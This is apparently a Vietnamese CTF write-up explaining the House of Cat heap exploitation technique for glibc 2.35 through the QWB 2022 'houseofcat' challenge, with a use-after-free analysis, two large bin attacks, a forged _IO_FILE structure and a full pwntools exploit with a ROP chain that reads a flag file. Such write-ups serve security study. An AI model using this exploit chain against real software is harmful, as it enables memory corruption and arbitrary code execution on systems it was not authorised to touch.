Phân tích chi tiết kỹ thuật House of Cat (Phần cuối) - Bài toán QWB 2022

Bài viết này là phần cuối cùng trong loạt bài về kỹ thuật House of Cat. Tiếp theo, tôi dự định chuyển sang nghiên cứu Apple1. Theo quan điểm cá nhân, thứ tự học nên là: Orange → Apple2 → Cat → Emma → Apple1. Tuy nhiên, thực tế cho thấy khi đã nắm vững Cat, bạn có thể giải quyết hầu hết các bài toán.

Bài toán mẫu: QWB 2022 - House of Cat

Chúng ta phân tích bài toán kinh điển đến từ giải QWB 2022.

Luồng chương trình

Chương trình là một bài heap dạng menu. Tuy nhiên, trước khi sử dụng các chức năng chính, cần nhập dữ liệu để vượt qua kiểm tra. Cơ chế kiểm tra khá phức tạp, sau một thời gian phân tích kết hợp với các exploit có sẵn, kết luận như sau:

  • Đầu tiên, gửi LOGIN | r00t QWB QWXFadmin để đăng nhập
  • Trước mỗi lần gọi các chức năng CRUD, cần gửi CAT | r00t QWB QWXF$\xff

Có bốn chức năng: add, edit, show, delete. Lỗ hổng cụ thể:

  • edit: chỉ dùng được 2 lần, mỗi lần ghi tối đa 0x30 byte
  • delete: không xóa con trỏ sau khi giải phóng → Use-After-Free
  • add: cho phép cấp phát tối đa 16 chunk, kích thước 0x418~0x46f, ghi size byte dữ liệu
  • show: chỉ leak được 0x30 byte

Chiến lược khai thác

  1. Leak địa chỉ libc và heap từ large bin
  2. Dùng edit cho large bin attack lần 1: ghi địa chỉ heap vào biến stderr trong libc, kiểm soát cấu trúc _IO_2_1_stderr_
  3. Large bin attack lần 2: thay đổi size của top chunk thành giá trị không hợp lệ (nhỏ hơn). Chỉ khi top chunk không đáp ứng được yêu cầu cấp phát, sysmalloc mới được gọi. Cần địa chỉ lệch để giảm size top chunk
  4. Cấp phát chunk → kích hoạt __malloc_assert

Leak địa chỉ libc và heap từ large bin

# Leak libc và heap
add(0,0x440,'flag\x00')
add(1,0x420,'flag\x00')  
add(2,0x430,'flag\x00')
delete(0)
add(3,0x450,'flag\x00')
show(0)
fd=uu64(ru('\x7f')[-6:])
libc_base=fd-(0x7f6f8a9bd0e0-0x7f6f8a7a3000)
print("libc_base=",hex(libc_base))
print("fd=",hex(fd))
heap_addr=uu64(ru('\x55')[-6:])
heap_base=heap_addr-(0x556aa3a51290-0x556aa3a51000)
print("heap_base=",hex(heap_base))

Large bin attack lần 1: ghi địa chỉ heap vào stderr

add(4,0x440,bytes(fake_IO_stderr))
delete(4)
add(5,0x450,b'flag\x00\x00\x00\x00'+p64(0)+fake_IO_wide_data)
edit(0,p64(fd)*2+p64(heap_addr)+p64(stderr_addr-0x20))
delete(2)
add(6,0x450,'flag\x00')

Large bin attack lần 2: thay đổi size của top chunk

add(7,0x430,'flag\x00')
delete(7)
edit(0,p64(fd)*2+p64(heap_addr)+p64(heap_base+0x1c70-0x20+3))

Kích hoạt tấn công

add(10,0x450,'flag\x00')

Exploit hoàn chỉnh

from pwn import *
from pwncli import *
from pwn_std import *
context(os='linux', arch='amd64', log_level='debug')
p= getProcess("ctf.qwq.cc","10016","./houseofcat")
elf = ELF("./houseofcat")
libc = ELF("/home/mazhatter/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6")

sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')
def add(idx,size,cont):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n',str(1))
    sla('plz input your cat idx:\n',str(idx))
    sla('plz input your cat size:\n',str(size).encode())
    sa('plz input your content:\n',cont)
def delete(idx):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(2))
    sla('plz input your cat idx:\n',str(idx))
def show(idx):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(3))
    sla('plz input your cat idx:\n',str(idx))
def edit(idx,cont):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(4))
    sla('plz input your cat idx:\n',str(idx))
    sa('plz input your content:\n', cont)

# Leak libc và heap
add(0,0x440,'flag\x00')
add(1,0x420,'flag\x00')
add(2,0x430,'flag\x00')
delete(0)
add(3,0x450,'flag\x00')
show(0)
fd=uu64(ru('\x7f')[-6:])
libc_base=fd-(0x7f6f8a9bd0e0-0x7f6f8a7a3000)
print("libc_base=",hex(libc_base))
print("fd=",hex(fd))
heap_addr=uu64(ru('\x55')[-6:])
heap_base=heap_addr-(0x556aa3a51290-0x556aa3a51000)
print("heap_base=",hex(heap_base))

stderr_addr=libc_base+0x7f04ef532860-0x7f04ef318000
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
close_addr=libc_base+libc.symbols['close']
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
pop_rax_ret=libc_base+0x0000000000045eb0
syscall = libc_base + 0x11ea3b

# ROP chain
rop=p64(pop_rdi)
rop+=p64(0)
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(heap_base+0x55b23e8c93f0-0x55b23e8c8000+0x10)
rop+=p64(0)
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(close_addr)
# open
rop+=p64(pop_rdi)
rop+=p64(heap_base+0x55cbc30c6f60-0x55cbc30c6000)
rop+=p64(pop_rsi)
rop+=p64(0)
rop+=p64(pop_rax_ret)
rop+=p64(2)
rop+=p64(syscall)
# read
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0x55cbc30c6f60-0x55cbc30c6000)
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(read_addr)
# write
rop+=p64(pop_rdi)
rop+=p64(1)
rop+=p64(write_addr)

io_wfile_jumps = libc_base + 0x2160c0
fake_IO_stderr=IO_FILE_plus_struct()
fake_IO_stderr._lock=heap_base+0x559fa1786290-0x55a33d39c000
fake_IO_stderr._wide_data=heap_base+0x55cbc30c73d0-0x55cbc30c6000
fake_IO_stderr.vtable=io_wfile_jumps+0x10

fake_IO_stderr=fake_IO_FILE=flat({
    0x0:0,  #_IO_read_end
    0x8:0,  #_IO_read_base
    0x10:0, #_IO_write_base
    0x18:0, #_IO_write_ptr
    0x20:0, #_IO_write_end
    0x28:0, #_IO_buf_base
    0x30:0, #_IO_buf_end
    0x38:0, #_IO_save_base
    0x40:0, #_IO_backup_base
    0x48:0, #_IO_save_end
    0x50:0, #_markers
    0x58:0, #_chain
    0x60:0, #_fileno
    0x68:0, #_old_offset
    0x70:0, #_cur_column
    0x78:libc_base + 0x21ba60, #_lock
    0x80:0, #_offset
    0x88:0, #_codecvt
    0x90:heap_base+0x55cbc30c73d0-0x55cbc30c6000, #_wide_data
    0x98:0, #_freeres_list
    0xa0:0, #_freeres_buf
    0xa8:0, #__pad5
    0xb0:0, #_mode
    0xc8:io_wfile_jumps+0x10, #vtable
})

fake_IO_wide_data=flat({
    0x0:bytes(rop),
    0xe0:0x55810b78b4b0-0x55810b78a000+heap_base,
    0xf8:libc_base+0x000000000005a170 #0x000000000005a170: mov rsp, rdx ; ret
})

add(4,0x440,bytes(fake_IO_stderr))
delete(4)
add(5,0x450,b'flag\x00\x00\x00\x00'+p64(0)+fake_IO_wide_data)
edit(0,p64(fd)*2+p64(heap_addr)+p64(stderr_addr-0x20))
delete(2)
add(6,0x450,'flag\x00')

add(7,0x430,'flag\x00')
delete(7)
edit(0,p64(fd)*2+p64(heap_addr)+p64(heap_base+0x1c70-0x20+3))

pause()
add(10,0x450,'flag\x00')
ita()

Thẻ: House of Cat large bin attack heap exploitation IO_FILE glibc 2.35

Đăng vào ngày 12 tháng 6 lúc 23:24